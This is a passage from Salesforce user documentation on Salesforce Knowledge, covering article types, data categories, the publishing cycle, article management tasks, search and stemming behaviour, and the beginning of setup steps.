- Content in a File field is not searchable and cannot be imported using the article importer.
- You cannot attach Salesforce CRM Content files using the File field.
- The File field type is not supported in Developer edition.
- You cannot convert a File field type into any other data type.

• You will lose your data if you convert a custom field on an article type into any other field type. Do not convert custom
fields unless no data exists for the field.

1629
Salesforce Knowledge What is Salesforce Knowledge?

• The Salesforce Knowledge search engine supports stemming, which is the process of reducing a word to its root form.
With stemming, a search can match expanded forms of a search term. For example, a search for run matches items that
contain run, running, and ran. Stemming is supported if the default language is English, French, German, or Spanish.
• If your organization is using data categories:
- You can create up to three category groups with a maximum of five hierarchy levels in each group. Each category group
can contain a total of 100 categories. To increase these limits, contact salesforce.com.
- Category groups are hidden from users until they are activated. Do not activate a category group until you have finished
defining its categories and their access settings, including their mapping to roles.
- When assigning categories to articles, you can choose up to 10 categories in a category group.
- If an article has no categories, it displays only when you choose the No Filter option in the category drop-down
menu.
- When searching for articles, selecting a category automatically includes the parent and children of that category and
any grandparents, up to and including the top level. For example, if a category hierarchy has the levels All Products,
Switches, Optical Networks, and Metro Core, selecting “Optical Networks” from the category drop-down menu returns
articles assigned to any of the four categories. However, it does not return articles assigned to sibling categories. So for
example if Switches had a sibling category called Routers, selecting “Optical Networks” would not return articles
classified within Routers. Category visibility settings may limit the specific articles you can find.
- Once role-based permission settings have been chosen for the categories:
› Users who are not assigned to a role can only see uncategorized articles.
› A Customer Portal user inherits the role assigned to his or her account manager, so the category visibility for the
Customer Portal user and the account manager is identical.
› If you only have access to one category in a category group, the category drop-down menu for that category group
does not display on the Articles tab.

- Deleting a category:
› Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
› Permanently deletes its child categories.
› Removes the category and its children from the category drop-down menu, the Articles and Article Management
tabs, your company's public knowledge base, and your company's Customer Portal.
› Removes associations between the category and articles. You can reassign articles to another category.
› Removes its mapping to a role. Users in the role lose their visibility to articles that had the category.

- Deleting a category group:


› Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but
not edit them. It holds category groups for 45 days before they are permanently erased and cannot be recovered.
During the 45–day holding period, you can either restore a category group, or permanently erase it immediately.
› Deletes all categories within that group.
› Removes all associations between the group's categories and articles.
› Removes all associations between the group's categories and roles.
› Removes the category drop-down menu from the Articles and Article Management tabs, your company's Customer
Portal, and your company's public knowledge base.

- You can translate the labels of categories and category groups using the Translation Workbench.

Best Practices
Consider the following tips when planning and using Salesforce Knowledge:
• Take full advantage of multiple article types as custom containers for your articles. Organizing articles by type helps
differentiate content and allows users greater flexibility when searching for articles.

1630
Salesforce Knowledge Useful Salesforce Knowledge Terminology

• Create synonym groups in Salesforce Knowledge. Synonyms are words or phrases that are treated as equivalent in article
searches, letting you optimize search results. For more information see Managing Salesforce Knowledge Synonyms on
page 2094.
• Before setting up data categories, carefully plan your category groups and their hierarchies. Also, consider how your category
hierarchy will map to your role hierarchy. For more information, see Category Group Visibility Settings Overview on page
1484.
• Multiple users can edit the same article at the same time. If that occurs, your changes may be overwritten by a colleague
without warning, even if you save your work frequently. To avoid accidental data loss, instruct all users who edit articles
to only edit the articles they're assigned.

See Also:
Useful Salesforce Knowledge Terminology
What are Data Categories?

Useful Salesforce Knowledge Terminology


Available in: Enterprise, Unlimited, and Developer Editions

The following terms are used when describing Salesforce Knowledge features and functionality.
Archived Article
Archived articles were published but later removed from public visibility. Knowledge managers can view and manage
archived articles on the Article Management tab, but archived articles are not visible in the Articles tab, Customer Portal,
or public knowledge base. Articles can be archived manually or automatically via an expiration date.

Article
Articles capture information about your company's products and services that you want to make available in your knowledge
base.

Article-Type Template
An article-type template specifies how the sections in the article-type layout are rendered. An article type can have a
different template for each of its three channels. For example, if the Customer Portal channel on the FAQ article-type
is assigned to the Tab template, the sections in the FAQ's layout appear as tabs when customers view an FAQ article.
For the Table of Contents template, the sections defined in the layout appear on a single page (with hyperlinks) when
the article is viewed. Salesforce.com provides two standard article-type templates, Tab and Table of Contents. Custom
templates can be created with Visualforce.

Article Type
All articles in Salesforce Knowledge are assigned to an article type depending on their content. For example, a simple
FAQ article type may have two custom fields, Question and Answer, where knowledge managers enter data when
creating or updating FAQ articles. A more complex article type may require dozens of fields organized into several
sections. Using layouts and templates, administrators can structure the article type in the most effective way for its
particular content.

1631
Salesforce Knowledge Useful Salesforce Knowledge Terminology

Article-Type Layout
An article-type layout enables administrators to create sections that organize the fields on an article, as well as choose
which fields users can view and edit. One layout is available per article type. Administrators can modify the layout from
the article-type detail page.

Category Group
A category group is a container for a logical hierarchy of data categories. For example, to classify articles by sales regions
and business units, create two category groups, Sales Regions and Business Units. The Sales Regions category group
could consist of a geographical hierarchy, such as All Sales Regions as the top level, North America, Europe, and Asia
at the second level, and so on.
See also Data Category

Channel
The channel refers to the medium by which an article is available. Salesforce Knowledge offers three channels:

• The internal app. Salesforce.com users can access articles in the Articles tab depending on their role visibility.
• The Customer Portal. Customers can access articles if the Articles tab is available in the portal. Customer Portal
users inherit the role visibility of the manager on the account.
• The public knowledge base. Articles can be made available to anonymous users by creating a public knowledge base
using the Sample Public Knowledge Base for Salesforce Knowledge app from the AppExchange. Creating a public
knowledge base requires Force.com Sites and Visualforce.

Data Category
Data Categories are a set of criteria organized hierarchically in a category group. With data categories you can classify
the articles in your knowledge base using a logical hierarchy of categories. Categories make it easy for agents and customers
to find the articles they need. Administrators can use data categories to control access to articles.

Draft Article
Draft articles are in-progress articles that have not been published, which means they are not visible on the Articles tab,
in the Customer Portal, or in a public knowledge base. Knowledge managers can access draft articles on the Article
Management tab by choosing the My Draft Articles or All Draft Articles list views. Draft articles can be assigned to
any user involved in the editorial work.

Knowledge Agent
Salesforce.com uses the term knowledge agent to represent a specific type of user. Knowledge agents are article consumers
in the internal Salesforce Knowledge app. These users can access the Articles tab to search for and view articles, but they
cannot create, edit, or manage articles.

Knowledge Manager
Salesforce.com uses the term knowledge manager to represent a specific type of user. Knowledge managers can access the
Article Management tab to create, edit, publish, archive, and delete articles.

1632
Salesforce Knowledge Managing Articles

Published Article
Published articles are available on the Articles tab and, if applicable, in the Customer Portal and public knowledge base.
To remove a published article, you can archive it or change its status to “draft” on the Article Management tab.

See Also:
What is Salesforce Knowledge?
What are Data Categories?

USING SALESFORCE KNOWLEDGE

Managing Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, publish, archive, or delete articles: “Edit Articles”

The Article Management tab is your home page for working with articles throughout the publishing cycle as they are created,
assigned to users for editing, published, and archived.
The Article Management tab defaults to the My Draft Articles view, which lists draft articles assigned to you and sorted by
their assignment due date.

Article Publishing Cycle


Articles move through a publishing cycle, which is depicted in the graphic below:
1. When you create and save an article, it displays on the My Draft Articles and All Draft Articles views. When you create
an article, it is automatically assigned to you.
2. Draft articles are assigned to reviewers and collaborators until the content is complete.
3. Completed drafts are published and move to the Published Articles view, either immediately or on a scheduled date.
Published articles display to agents and customers on the channels: the internal app, Customer Portal, and public knowledge
base.
4. Published articles can be updated. You can work on the published article itself—moving it from the published state to a
draft—or work on a copy so the published article remains available in the channels.
5. When obsolete, published articles are archived to remove them from the channels. Like publishing, the transition can be
immediate or on a scheduled date.
6. Archived articles are either deleted or turned into drafts to begin a new publishing cycle.

1633
Salesforce Knowledge Managing Articles

Figure 7: Article Publishing Cycle

Choosing Articles to View


To specify which articles display in the list view, use the following options in the sidebar:
• In the View area, select My Draft Articles, All Draft Articles, Published Articles, or Archived Articles.
• In the Find in View field, enter a keyword or phrase to refine the current view. The Find in View field is inactivated
for archived articles.
• In the Filter area, choose a category from a drop-down menu to filter the current view.

Choosing Columns
To modify which columns display, click Columns. The following columns are available depending on the view:

Column Description View


Action Selects all articles. My Draft Articles/All Draft
Articles/Published Articles/Archived
Articles
All User Ratings Average ratings from users of the internal Published/Archived Articles
app and Customer Portal.
Archived Date Date the article was archived. Archived Articles

1634
Salesforce Knowledge Managing Articles

Column Description View


Article Title Click to view the article on page 1644. All
Assigned to The user who is assigned work on the My Draft Articles/All Draft Articles
article.
Assignment Details Instructions for the assignment. My Draft Articles/All Draft Articles
Assignment Due Date Date to complete work on the article. If My Draft Articles/All Draft Articles
the date has passed, it displays in red.
Created Date Date the article was written. My Draft Articles/All Draft Articles
Customer Ratings Average ratings from users on the Published/Archived Articles
Customer Portal and the public
knowledge base.
Last Modified by Last person to update the article. My Draft Articles/All Draft Articles
Last Modified Date Last date the article was edited. All
Most Viewed by all Users Average views from users on the Article Published/Archived Articles
tab, the Customer Portal, and the public
knowledge base.
Most Viewed by Customers Average views from users on the Published/Archived Articles
Customer Portal and the public
knowledge base.
Type The article's type, such as FAQ or All
Product Description, that determines
what information the article contains.
Published Date Date the article was published. Published/Archived Articles

Article Icons
In the list view, the following icons indicate the article's stage in the publishing cycle:

Icon View Description


My Draft Articles/All Draft Articles The article has a scheduled publication
date.
Published Articles The article has a scheduled archiving
date.
Published Articles This article is locked because a draft copy
has already been created to update its
information.

Article Management Tasks


To create and manage articles:
• Enter a search term or use the category drop-down menu to find an article.
• Click New to create a new article.

1635
Salesforce Knowledge Managing Articles

• Select an article and click Publish... to make it visible on the Articles tab, the public knowledge base, or the Customer
Portal.
• Click Edit next to an article to modify its content or properties.
• If you're viewing draft articles, select an article and click Assign... to manage its assignment.
• Select an article and click Delete to send an article to the Recycle Bin.
• Select an article and click Archive... to archive a published article .

See Also:
Useful Salesforce Knowledge Terminology
Publishing Articles
Creating and Editing Articles
Searching for Articles
Viewing Articles

Creating and Editing Articles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, publish, archive, or delete articles: “Edit Articles”

Creating Articles
To create an article:
1. On the Article Management tab, click New.
2. Choose an article type, enter the article title, and click OK.
3. Edit the article's fields. If your article contains a rich text area field you can add some formatting such as bulleted lists,
links, and images.
Caution: Click Quick Save often to avoid losing your changes.

4. In the Categories area, choose the categories to associate with your article:
• Click Edit next to a category group to open the category selection dialog box.
• In the Available Categories list expand the category hierarchy to select a category.
• Click Add to move a selected category to the Selected Categories list—up to eight categories are allowed there.
Note: You cannot add both a category and its child categories to the Selected Categories list. When
you add a category to an article:
- Child categories in the Available Categories list are unavailable unless you remove the parent from
the Selected Categories list.
- Child categories in the Selected Categories list disappear from that list.

1636
Salesforce Knowledge Managing Articles

Users searching for articles can find them by selecting an exact category or by selecting a parent or child category.

• Click OK.

5. In the Channels area, select where your article will be available once published:
• The internal app. Salesforce.com users can access articles in the Articles tab depending on their role visibility.
• The Customer Portal. Customers can access articles if the Articles tab is available in the portal. Customer Portal users
inherit the role visibility of the manager on the account.
• The public knowledge base. Articles can be made available to anonymous users by creating a public knowledge base
using the Sample Public Knowledge Base for Salesforce Knowledge app from the AppExchange. Creating a public knowledge
base requires Force.com Sites and Visualforce.

6. Click Quick Save to save your changes and remain on this page. Alternatively, click Save to save your changes, close the
article, and go to the Article Management tab.
7. Optionally:
• Create an assignment for a user to edit or review the article.
• Publish the article.
Note: When you create an article, it is automatically assigned to you.

Editing Articles
To edit an article:
1. Click Edit on the Article Management tab, or click Edit on an article detail page.
2. If it is a published article, choose whether to leave the article published while you work on a draft copy, or whether to
remove the original article from publication and work on it directly. If you work on a copy, publishing the copy replaces
the last published version of the article. If you work on the original article, it is unavailable in the channels until you
republish it.
3. Edit the article's fields. If your article contains a rich text area field you can add some formatting such as bulleted lists,
links, and images.
Caution: Click Quick Save often to avoid losing your changes.

4. In the Categories area, choose the categories to associate with your article:
• Click Edit next to a category group to open the category selection dialog box.
• In the Available Categories list expand the category hierarchy to select a category.
• Click Add to move a selected category to the Selected Categories list—up to eight categories are allowed there.
Note: You cannot add both a category and its child categories to the Selected Categories list. When
you add a category to an article:
- Child categories in the Available Categories list are unavailable unless you remove the parent from
the Selected Categories list.
- Child categories in the Selected Categories list disappear from that list.
Users searching for articles can find them by selecting an exact category or by selecting a parent or child category.

• Click OK.

1637
Salesforce Knowledge Managing Articles

5. In the Channels area, select where your article will be available once published:
• The internal app. Salesforce.com users can access articles in the Articles tab depending on their role visibility.
• The Customer Portal. Customers can access articles if the Articles tab is available in the portal. Customer Portal users
inherit the role visibility of the manager on the account.
• The public knowledge base. Articles can be made available to anonymous users by creating a public knowledge base
using the Sample Public Knowledge Base for Salesforce Knowledge app from the AppExchange. Creating a public knowledge
base requires Force.com Sites and Visualforce.

6. Click Quick Save to save your changes and remain on this page. Alternatively, click Save to save your changes, close the
article, and go to the Article Management tab.
7. Optionally:
• Create an assignment for a user to edit or review the article.
• Publish the article.
Note: When you create an article, it is automatically assigned to you.

Implementation Tips
• When applying categories, choose the categories that a user would naturally look for as they navigate the Articles tab, the
Customer Portal, and the public knowledge base. Users only find an article if they select its explicitly applied category, the
parent of that category, or a child of that category.
• Multiple users can edit the same article at the same time. If that occurs, your changes may be overwritten by a colleague
without warning, even if you save your work frequently. To avoid accidental data loss, instruct all users who edit articles
to only edit the articles they're assigned.

Best Practices
• Assign articles to the users who should work on them next. Enter assignment instructions that are direct, brief, and clear.
Specify a due date to set expectations of when the assignment needs to be completed. If your knowledge base team
consistently uses assignments in this manner, you can easily track the progress of your organization's draft articles by looking
at the draft articles views on the Article Management tab.
• Make sure to assign yourself the articles you want to work on.

See Also:
What is Salesforce Knowledge?
Useful Salesforce Knowledge Terminology
Managing Article Types
Managing Data Categories
Assigning Draft Articles
Publishing Articles
Example of Article Search Results

1638
Salesforce Knowledge Managing Articles

Assigning Draft Articles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, publish, archive, or delete articles: “Edit Articles”

Working on draft articles is often a team effort: different members of the editorial staff create drafts, review the text and
formatting, add graphics, and so on. With Salesforce Knowledge, you can assign draft articles to the users who have to work
on them at that time.
For example, say you create an article and assign it to yourself with the instruction “Write content before the 10th.” (step 1 in
Example draft article assignment). On the 10th, your article is complete but you need help from a visual designer. You assign
your article to your visual designer with the instruction “Finalize the visual design before the 20th" (step 2). When the visual
designer opens the Article Management tab, he or she sees the new assignment in My Draft Articles view. When the visual
design is finished, the designer reassigns the article back to you for a final check. The article now displays on your My Draft
Articles view with a new instruction: “Please review the article before publishing” (step 3). Finally, you review the article
and decide to schedule its publication on the 31st.

Figure 8: Example draft article assignment

1639
Salesforce Knowledge Managing Articles

An assignment is a draft article that has been assigned to another user for editing. Assignments may contain brief instructions
and a due date. When you create an article, a new assignment is automatically attached to it. You can edit the assignment,
enter the instructions, choose an assignee, and specify a due date. Articles can only have one assignment at a given time. Note
that all users with sufficient permissions can edit an article, even if they're not the assignee.
To display your assignments, click My Draft Articles for only your assignments, or All Draft Articles for both
your and other users' assignments.
To assign or reassign an article:

1. On the My Draft Articles or All Draft Articles views, select the checkbox next to an article and click Assign....
Alternatively, click Assign... from the article detail page or the article edit page.
2. Choose a user.
3. Enter instructions for the assignment.
4. Choose a due date.
5. Click OK.

Best Practices
• If your editorial process involves several draft stages and collaborative tasks, use assignments to manage these steps.
• Multiple users can edit the same article at the same time. If that occurs, your changes may be overwritten by a colleague
without warning, even if you save your work frequently. To avoid accidental data loss, instruct all users who edit articles
to only edit the articles they're assigned.
• Make sure to assign yourself the articles you want to work on.

See Also:
Useful Salesforce Knowledge Terminology
Publishing Articles
Creating and Editing Articles

Publishing Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, publish, archive, or delete articles: “Edit Articles”

Publishing an article moves it to the Published Articles view and makes it visible to agents and customers in all available
channels.
To publish an article:

1. On the Article Management tab, open the My Draft Articles or All Draft articles views, select a checkbox in the list, and
click Publish.... Alternatively, click Publish... on either the detail page or edit page of an article.
2. Select Publish article(s) now or Schedule publication on to choose the date to publish the article.

1640
Salesforce Knowledge Managing Articles

3. If the article has previously been published, select the Flag as new article(s) checkbox to make the new article
icon ( ) display next to your article in the selected channels. Users from these channels can see that this article has been
modified since the last time they’ve read it. This checkbox is not available when you publish an article for the first time,
as the icon displays by default then.
If the draft being published is a working copy of a currently published article, it is published as a new version of the original.
4. Click OK.

Articles you're publishing now move directly to the Published Articles view. Articles you scheduled for publication at a later
date continue to display on the My Draft Articles and All Draft Articles views, now with the pending icon ( ) next to the
article title. Hover over the icon to see the publication date. On the publication date, the article automatically moves to the
Published Articles view.
Note:

• If you assign an article that is scheduled for publication, you also cancel the scheduled publication.
• Scheduling a publication removes any assignment information. The user who scheduled the publication is assigned
to the article.
• Conflicts may occur when different users perform actions on the same articles simultaneously. Depending on who
performs the action first, the articles will not be available for subsequent users though the articles still display
momentarily in the articles list. Performing an action on these articles results in a conflict error message.

Tip: To cancel a scheduled publication, click Cancel Publication on the article detail or edit page.

See Also:
Useful Salesforce Knowledge Terminology
Assigning Draft Articles
Viewing Articles
Creating and Editing Articles

Archiving Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, publish, archive, or delete articles: “Edit Articles”

Archiving removes published articles that are obsolete so they no longer display to agents and customers on your organization's
Salesforce Knowledge channels.
To archive articles:

1641
Salesforce Knowledge Managing Articles

1. On the Article Management tab, open the Published Articles view, select the articles to archive, then click Archive....
Alternatively, click Archive... on the detail page of a published article.
2. Select Archive article(s) now or Schedule archive on to choose the date to archive the article.
3. Click OK.

Articles you're archiving now move directly to the Archived Articles view. Articles you scheduled for archiving at a later date
continue to display on the Published Articles view, now with the pending icon ( ) next to the article title. Hover over the
icon to see the archive date. On the archive date, the article automatically moves to the Archived Articles view.
Note:

• Conflicts may occur when different users perform actions on the same articles simultaneously. Depending on who
performs the action first, the articles will not be available for subsequent users though the articles still display
momentarily in the articles list. Performing an action on these articles results in a conflict error message.
• If you edit a published article that is scheduled for archiving, you also cancel the archiving.

See Also:
Useful Salesforce Knowledge Terminology
Publishing Articles
Creating and Editing Articles
Deleting Articles

Deleting Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, publish, archive, or delete articles: “Edit Articles”

You can delete draft and archived articles. Published articles cannot be deleted directly; archive them first, then delete them.
To delete articles:

1. On the Article Management tab, open the My Draft Articles, All Draft Articles or Archived Articles views, select a
checkbox in the list, and click Delete. Alternatively, click Delete on the detail page of a draft or archived article.
2. Click OK.

Deleting articles moves them to the Recycle Bin on page 1593, where you can undelete them if you change your mind.
Note:

• Conflicts may occur when different users perform actions on the same articles simultaneously. Depending on who
performs the action first, the articles will not be available for subsequent users though the articles still display
momentarily in the articles list. Performing an action on these articles results in a conflict error message.

1642
Salesforce Knowledge Working with Articles

• If you delete a draft article that is a working copy of a currently published article, the original published version is
not affected but the draft version is permanently removed. It does not go to the Recycle Bin on page 1593. You can
edit the published version to work again on a draft copy.

Deleting an article may fail if another user or the system simultaneously modifies the article while the deletion is being processed.
You'll receive an error message if this occurs.

See Also:
Useful Salesforce Knowledge Terminology
Archiving Articles

Working with Articles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view articles: “View Articles”

Use the Articles tab to search for published articles in Salesforce Knowledge. To view an article click its title.
The default list view contains articles that were created or updated during the last 30 days. Click a column header to sort the
list according to that column's value. You can sort by any column except Type. To choose the columns that appear on the
page, select your preferences from the Columns drop-down button. Available columns include:

• New—Flag that indicates whether you have viewed an article.


• Type—Article type assigned to the article. Article types determine the content and format of each article.
• Published Date—Date the article was published, either the original date or a revision.
• Most Viewed by all Users—Comparative indicator calculated by adding views from all relevant channels: knowledge agents
(internal users), Customer Portal users, and visitors to the public knowledge base.
• All User Ratings—The average rating cast by knowledge agents and customers. Visitors to the public knowledge base
cannot rate articles. For details about user ratings, see Viewing Articles on page 1644.
• Agent Ratings—The average rating given to the article by knowledge agents using the internal app.
• Customer Ratings—The average rating that customers have given the article. This option only displays if your organization
exposes articles via the Customer Portal.
• Most Viewed by Agents—Comparative indicator calculated by adding knowledge agent views.
• Most Viewed by Visitors—Comparative indicator calculated by adding public-knowledge-base visitor views.
• Most Viewed by Customers—Comparative indicator calculated by adding Customer Portal user views.

1643
Salesforce Knowledge Working with Articles

Click the arrow at the bottom of the page to change the number of articles that display on the page at one time.

See Also:
What is Salesforce Knowledge?
Useful Salesforce Knowledge Terminology
Searching for Articles
Viewing Articles

Viewing Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view articles: “View Articles”

Viewing an Article from the Articles Tab


To view a published article, click on its title in the Articles tab. The article's format and content depend on the article type
chosen by your administrator, but all articles provide an expandable Properties header that contains the following information:
• Abstract—Summary of the article.
• First Published—Date and time the article was originally published.
• Last Modified—Date and time of the last major or minor update to the article.
• Last Published—Date and time of the last major update to the article. An author indicates a major update by flagging the
article as new when it is republished.
The header also provides the ability to rate the article on a scale of one to five stars and view the article's average rating. Averages
are not static. Every 15 days, if an article has not received a new vote its average rating moves up or down according to a
half-life calculation. This change ensures that over time, older or outdated articles don't maintain artificially high or low ratings
compared to newer, more frequently used articles. Articles without recent votes trend towards an average rating of three stars.
You can rate each article only once.

Viewing an Article from the Article Management Tab


On the list view page for draft, published, or archived articles:
• Click the article's title to view a read-only version of the article detail page. Click Edit to update the article.
• Click Preview to view the article as it will display in the Articles tab.

See Also:
What is Salesforce Knowledge?
Useful Salesforce Knowledge Terminology

1644
Salesforce Knowledge Working with Articles

Searching for Articles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view articles in the Articles tab or Articles related list: “View Articles”
To view articles in the Article Management tab: “Edit Articles”

Searching for Articles in the Articles Tab


By default the Articles tab displays articles that were created or modified during the last 30 days. To find an article, use the
search tools in the sidebar:
1. Enter your search terms in the Search box. You can use search wildcards and operators in your search terms.
Note: If you click Go without entering a search term or selecting an article type or category, your search results
contain articles that were created or modified in the last 30 days. An empty search does not return all published
articles in the knowledge base.

2. Optionally, select one or more article types that you want to search for.
3. Click Go.
4. If your organization uses categories, you can filter the list view by selecting one or more categories.
Note:
• If an article has no categories, it displays only when you choose the No Filter option in the category drop-down
menu.
• When searching for articles, selecting a category automatically includes the parent and children of that category
and any grandparents, up to and including the top level. For example, if a category hierarchy has the levels All
Products, Switches, Optical Networks, and Metro Core, selecting “Optical Networks” from the category
drop-down menu returns articles assigned to any of the four categories. However, it does not return articles
assigned to sibling categories. So for example if Switches had a sibling category called Routers, selecting “Optical
Networks” would not return articles classified within Routers. Category visibility settings may limit the specific
articles you can find.
• Users who are not assigned to a role can only view uncategorized articles.
• If you only have access to one category in a category group, the category drop-down menu for that category
group does not display on the Articles tab.

5. Click any column heading to sort the results in ascending order. Click the heading a second time to sort in descending
order.
Tip: If your Home tab includes an article search component, you can also search for articles from the Home tab.
Enter your search terms in the Find Articles field. For information on adding components to the Home tab, see
Designing Home Tab Page Layouts on page 643.

1645
Salesforce Knowledge Working with Articles

Searching for Articles in the Article Management Tab


On the Article Management tab you can view articles in any phase of the publishing life cycle and then search for a specific
article within the chosen list view. The default list view on the Article Management tab contains draft (unpublished) articles
that are assigned to you.
To find an article, use the search tools in the sidebar:
1. Choose My Draft Articles, All Draft Articles, Published Articles, or Archived Articles.
2. Optionally, enter your search terms in the Find in View box. You can use search wildcards and operators in your search
terms.
3. Click Go.
4. If your organization uses categories, you can filter the list view by selecting one or more categories.
Note:
• If an article has no categories, it displays only when you choose the No Filter option in the category drop-down
menu.
• When searching for articles, selecting a category automatically includes the parent and children of that category
and any grandparents, up to and including the top level. For example, if a category hierarchy has the levels All
Products, Switches, Optical Networks, and Metro Core, selecting “Optical Networks” from the category
drop-down menu returns articles assigned to any of the four categories. However, it does not return articles
assigned to sibling categories. So for example if Switches had a sibling category called Routers, selecting “Optical
Networks” would not return articles classified within Routers. Category visibility settings may limit the specific
articles you can find.
• Users who are not assigned to a role can only view uncategorized articles.
• If you only have access to one category in a category group, the category drop-down menu for that category
group does not display on the Articles tab.

5. Click any column heading to sort the results in ascending order. Click the heading a second time to sort in descending
order.

Searching for Articles on the Articles Related List


Cases can have an Articles related list where you can search for articles and attach them to the case. To find an article to help
you solve a case:
1. View a case detail page.
2. Click Search Articles from the Articles related list. The case subject is automatically used as a search term to provide an
initial list of search results.
3. In the sidebar of the Articles page that appears, you can narrow your search results by article type or category, or initiate
a new search.
4. When you find an article that is relevant to the case, click Attach. The article is added to the Articles related list on the
case detail page.

See Also:
Example of Article Search Results
Stemming Behavior with Salesforce Knowledge Article Searches
How Salesforce Knowledge Synonyms Work in Searches
What are Data Categories?
Working with Articles

1646
Salesforce Knowledge Working with Articles

Stemming Behavior with Salesforce Knowledge Article Searches

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view articles: “View Articles”

Stemming is the process of reducing a word to its root form. With stemming, search can match expanded forms of a search
term. For example, a search for run matches items that contain run, running, and ran. This behavior applies only to the type
of word you search for: a search for a noun matches variants of the noun form, a search for a verb matches variants of the verb
form, and so on.
Note: Stemming is available only for organizations in which the default language is English, French, German, or
Spanish. You can edit the default language for your organization on the Company Information page.

Be aware of these stemming behaviors in Salesforce Knowledge article searches:


Wildcards
If a search phrase includes an asterisk (*), none of the search terms are stemmed. For example, a search for quenching
bev* doesn't match quench or quenched.

Exact phrase searches


If a search includes a phrase within quotation marks ("), then the search terms are stemmed. For example, a search for
"drink juice" delicious matches drank juices and deliciously.
Note: If all of the search terms are in quotes and the last character is a question mark (?), the search terms are
stemmed. For example, a search for "drink juice?" matches drank juices. However, if a question mark is
included anywhere else, the search terms are not stemmed. For example, a search for "drink? juice" doesn't
match drank juices, and a search for delicious "drink juice?" doesn't match deliciously or drank juices.

Synonyms
A defined synonym is not stemmed in search results; rather, it is matched as an exact phrase. However, the search term
is stemmed. For example, if this synonym group is defined:
quench, drink orange juice
Then a search for quench matches quench, quenched, quenching, and drink orange juice, but doesn't match drinking orange
juice.

See Also:
Searching for Articles
Example of Article Search Results
How Salesforce Knowledge Synonyms Work in Searches

1647
Salesforce Knowledge Working with Articles

Example of Article Search Results

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view articles: “View Articles”

When you search for articles, you can narrow your search results by selecting categories. The following table is an in-depth
example of how filtering by categories works. This example uses the sample category groups Products and Geography and
three sample articles. Assume that the user performing the search has access to all categories.

Table 2: Example: How Filtering by Categories Narrows Article Search Results

If you select these category An article assigned to All An article assigned to Canada An article assigned to Europe
filters... Countries AND Laptop is... AND Computers is... only is...
All Countries FOUND. Reasons: FOUND. Reasons: NOT FOUND. Reasons:
AND • All Countries is an exact • Canada is a child of All • Europe is a child of All
match. Countries. Countries, but all filter
All Products • Selecting All Products • Computers is a child of All criteria must be met.
automatically includes Products. • The article is not assigned
Laptop. to a Products category. To
retrieve this article, choose
No Filter from the
category drop-down menu.

Asia FOUND. Reasons: NOT FOUND. Reasons: NOT FOUND. Reasons:


AND • All Countries is the parent • Canada and Asia are not • Europe and Asia are
of Asia. in the same parent/child siblings rather than
Computers • Laptop is a child of hierarchy (that is, they are members of the same
Computers. in different branches of the parent/child hierarchy.
category hierarchy). • If an article is not assigned
• Computers is an exact to a category, “No Filter”
match, but all filter criteria must be selected in the
must be met before an corresponding category
article is displayed. drop-down menu to
retrieve the article.

France NOT FOUND. Reasons: NOT FOUND. Reasons: NOT FOUND. Reasons:
AND • Laptop is not in a • Canada and France are not • Europe is the parent of
parent/child relationship members of the same France but all filter criteria
Enterprise Electronics with Enterprise parent/child hierarchy must be met.
Electronics. (they are cousins). • If an article is not assigned
to a category, “No Filter”

1648
Salesforce Knowledge Working with Articles

If you select these category An article assigned to All An article assigned to Canada An article assigned to Europe
filters... Countries AND Laptop is... AND Computers is... only is...
• All Countries is a parent • Computers and Enterprise must be selected in the
of France but all filter Electronics are not corresponding category
criteria must be met. members of the same drop-down menu to
parent/child hierarchy retrieve the article.
(they are siblings).

Europe NOT FOUND. Reasons: NOT FOUND. Reasons: FOUND. Reasons:


(No other filter) • The No Filter criteria on • Europe and Canada are • Europe is an exact match.
Products only retrieves an not in the same • On Products, the article is
article assigned to No parent/child hierarchy. assigned to No Categories
Categories. • The “No Filter” criteria on and “No Filter” was chosen
• All Countries is the Products only retrieves an as a filter.
grandparent of Europe, article assigned to No
but all filter criteria must Categories.
be met.

Americas NOT FOUND. Reasons: FOUND. Reasons: NOT FOUND. Reasons:


AND • Laptop and Desktop are • Canada is the child of • America and Europe are
siblings rather than America. siblings rather than
Desktop members of the same • Computers is the parent of members of the same
parent/child hierarchy. Desktop. parent/child hierarchy
• All Countries is the parent • If an article is not assigned
of America, but all filter to a category, “No Filter”
criteria must be met. must be selected in the
corresponding category
drop-down menu to
retrieve the article.

Products Category Group

• All Products

- Consumer Electronics

› Cameras
› Audio
› Printers

- Enterprise Electronics

› Routers
› Switches
› PEX

- Computers

1649
Salesforce Knowledge Working with Articles

› Laptops
› Desktops
› PDAs

Geography Category Group

• All Countries

- Americas

› USA
› Canada
› Brazil

- Asia
› China
› Japan
› India

- Europe

› France
› United Kingdom
› Poland

See Also:
Searching for Articles
Stemming Behavior with Salesforce Knowledge Article Searches
How Salesforce Knowledge Synonyms Work in Searches

1650
Salesforce Knowledge Setting Up Salesforce Knowledge

CONFIGURING SALESFORCE KNOWLEDGE

Setting Up Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit users: “Manage Users”
To create article types: ”Customize Application”
AND
”Manage Salesforce Knowledge”
To manage synonyms: “Manage Synonyms”
To create data categories: “Manage Data Categories”

Setting up Salesforce Knowledge includes creating at least one article type, enabling Salesforce Knowledge, creating data
categories, and ensuring that users have appropriate access. After initial setup, you can enable Salesforce Knowledge in the
Customer Portal or create a public knowledge base using the Sample Public Knowledge Base for Salesforce Knowledge app from
the AppExchange.
To set up Salesforce Knowledge for your organization:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Type and create one or more article types.
Note: If you do not see Setup ➤ Customize ➤ Knowledge, ensure that the Knowledge User checkbox is
selected in your user detail page.

2. Click Setup ➤ Customize ➤ Knowledge ➤ Settings.

